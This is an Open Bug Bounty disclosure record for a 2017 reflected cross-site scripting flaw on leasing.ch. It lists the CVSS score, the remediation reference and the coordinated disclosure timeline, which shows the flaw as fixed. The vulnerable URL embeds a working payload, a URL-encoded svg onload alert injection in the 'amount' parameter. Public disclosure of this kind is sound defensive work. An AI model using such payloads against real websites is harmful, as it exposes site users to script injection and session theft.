leasing.ch XSS vulnerability

2017-10-26T05:35:00
ID OBB:368324
Type openbugbounty
Reporter SecuNinja
Modified 2018-01-24T20:36:00

Description

Open Bug Bounty ID: OBB-368324

Description| Value
---|---
Affected Website:| leasing.ch
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://www.leasing.ch/de/produkte/leasing/antrag?customer_type=PRIVATE&kind;=NEW_CAR&type;=3&model;=55&runtime;=36&amount;=%22%3E%27%3EI%3Ci%3EI%3Csvg/onload=alert(/openbugbounty/)%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 26 October, 2017 05:35 GMT
Vulnerability Verified:| 26 October, 2017 05:37 GMT
Website Operator Notified:| 26 October, 2017 05:37 GMT
Vulnerability Published:| 26 October, 2017 05:37 GMT[without any technical details]
Vulnerability Fixed:| 24 January, 2018 20:36 GMT
Public Disclosure:| 24 January, 2018 20:36 GMT